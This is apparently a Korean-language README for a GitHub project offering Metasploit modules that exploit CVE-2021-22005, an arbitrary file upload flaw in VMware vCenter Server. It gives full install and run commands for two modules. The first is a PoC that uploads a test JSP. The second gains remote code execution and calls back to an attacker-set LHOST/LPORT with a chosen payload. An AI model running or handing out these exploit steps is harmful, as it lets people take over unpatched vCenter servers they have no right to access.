taroballzchen/cve-2021-22005-metasploitCVE-2021-22005 VMware vCenter Server에 관한 metasploit 스크립트(POC/EXP)는 임의 파일 업로드 취약점을 포함합니다
CVE-2021-22005 VMware vCenter Server의 임의 파일 업로드 취약점에 대한 metasploit 스크립트(POC/EXP)
git clone https://github.com/TaroballzChen/CVE-2021-22005-metasploit
cd CVE-2021-22005-metasploit
mkdir -p ~/.msf4/modules/auxiliary/scanner/http
cp vmware_vcenter_server_file_upload_poc.py ~/.msf4/modules/auxiliary/scanner/http/
chmod +x ~/.msf4/modules/auxiliary/scanner/http/vmware_vcenter_server_file_upload_poc.py
msfconsole
set rhost <vuln ip/host>
set port <vuln port>
set ssl <default: true for https>
exploit
스크립트는 base64로 인코딩된 "Could be vuln by CVE-2021-22005" 텍스트를 포함하는 무해한 jsp를 업로드합니다.
git clone https://github.com/TaroballzChen/CVE-2021-22005-metasploit
cd CVE-2021-22005-metasploit
mkdir -p ~/.msf4/modules/exploits/linux/http
cp vmware_vcenter_server_file_upload_to_rce.py ~/.msf4/modules/exploits/linux/http/
chmod +x ~/.msf4/modules/exploits/linux/http/vmware_vcenter_server_file_upload_to_rce.py
msfconsole
set target <target>
set PAYLOAD <payload>
set rhost <vuln ip>
set port <vuln port>
set LHOST <list host ip>
set LPORT <list port>
exploit
